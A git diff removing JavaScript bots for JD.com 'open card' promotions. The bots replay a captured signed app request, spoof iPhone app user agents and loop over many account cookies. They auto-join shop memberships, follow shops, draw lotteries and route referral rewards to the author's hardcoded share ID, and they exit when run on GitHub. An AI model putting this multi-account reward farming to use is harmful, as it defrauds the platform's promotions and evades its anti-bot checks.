'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'Content-Type':'application/x-www-form-urlencoded', - 'Cookie': cookie, - 'Host':'api.m.jd.com', - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data) - if(typeof res == 'object' && res.errcode == 0){ - if(typeof res.token != 'undefined') $.Token = res.token - }else if(typeof res == 'object' && res.message){ - console.log(`isvObfuscator ${res.message || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getCk() { - return new Promise(resolve => { - let get = { - url:`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - } - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie} ${activityCookie} ${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}`, - "Host": "lzdz1-isv.isvjcloud.com", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard13.js b/backUp/gua_opencard13.js deleted file mode 100644 index d4c3346..0000000 --- a/backUp/gua_opencard13.js +++ /dev/null @@ -1,736 +0,0 @@ -/* -8.18-8.26 全民发一发 大牌狂欢趴 [gua_opencard13.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 被邀请也有20豆(有可能没有豆 -开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku13]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard13="true" -———————————————— -入口:[8.18-8.26 全民发一发 大牌狂欢趴 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=375dbaa9e32c4c70bb8357836956ed2e&shareUuid=016ba2d74d69402c946d0f80af002f54)] -============Quantumultx=============== -[task_local] -#8.18-8.26 全民发一发 大牌狂欢趴 -30 9,21 18-26 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard13.js, tag=8.18-8.26 全民发一发 大牌狂欢趴, enabled=true - -================Loon============== -[Script] -cron "30 9,21 18-26 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard13.js,tag=8.18-8.26 全民发一发 大牌狂欢趴 - -===============Surge================= -8.18-8.26 全民发一发 大牌狂欢趴 = type=cron,cronexp="30 9,21 18-26 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard13.js - -============小火箭========= -8.18-8.26 全民发一发 大牌狂欢趴 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard13.js, cronexpr="30 9,21 18-26 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.18-8.26 全民发一发 大牌狂欢趴'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -let activityCookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku13 ? process.env.guaopencard_addSku13 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku13') ? $.getdata('guaopencard_addSku13') : `${guaopencard_addSku}`); -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard13 || process.env.guaopencard13 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard13]为"true"') - return - } - } - $.shareUuid = '016ba2d74d69402c946d0f80af002f54' - $.activityId = '375dbaa9e32c4c70bb8357836956ed2e' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.Token = '' - $.Pin = '' - await getCk() - await getToken(); - if($.Token == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.nickname = ''; - await getMyPing() - if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await accessLogWithAD() - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - let flag = true - for (let cardList1Element of checkOpenCardData.cardList1) { - if(cardList1Element.status == 0){ - if(flag) console.log('组1') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - flag = true - for (let cardList1Element of checkOpenCardData.cardList2) { - if(cardList1Element.status == 0){ - if(flag) console.log('组2') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - await $.wait(1000) - } - if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) - if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) - $.log("关注: " + $.followShop) - if(!$.followShop) await followShop(); - if(!$.followShop) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku13]为"true"'); - if(!$.addSku && guaopencard_addSku == "true") await addSku(); - if(!$.addSku && guaopencard_addSku == "true") await $.wait(1000) - await getActorUuid() - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - $.log($.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - }catch(e){ - console.log(e) - } -} -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in res.data){ - let item = res.data[i] - if(item.value == '邀请好友') num++; - if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的奖品 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.log(`=========== 你邀请了:${res.data.length}个`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function addSku() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=100024016550` - $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.addBeanNum){ - msg = `${res.data.addBeanNum}京豆` - } - console.log(`加购获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`加购 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000000904` - $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.addBeanNum){ - msg = `${res.data.addBeanNum}京豆` - } - if(res.data.beanNumMember && res.data.assistSendStatus){ - msg += ` 额外获得:${res.data.beanNumMember}京豆` - } - console.log(`关注获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`关注 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`抽奖获得:${res.data.drawOk && res.data.name || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`抽奖 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res !== 'object'){ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res && res.data || ''); - } - }) - }) -} - - -function drawContent() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/drawContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getActorUuid() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/activityContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus - if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus - if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function accessLogWithAD() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - let body = `venderId=${$.shopId || 